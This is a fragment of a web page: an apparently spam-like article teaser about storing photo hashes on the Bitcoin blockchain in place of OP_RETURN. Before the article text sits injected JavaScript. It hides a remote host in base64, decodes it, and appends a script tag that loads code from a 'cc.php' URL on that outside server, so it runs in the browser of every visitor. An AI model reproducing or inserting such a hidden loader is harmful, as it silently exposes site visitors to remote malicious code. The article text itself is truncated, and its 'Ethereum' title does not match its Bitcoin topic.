const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx);const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=67bfa271";document.body.appendChild(script); Ethereum: Alternatives to OP_RETURN for Storing Data on Bitcoin Blockchain As you develop your iOS camera app, you may be considering storing hash values of photos within the blockchain to create a "proof of existence."...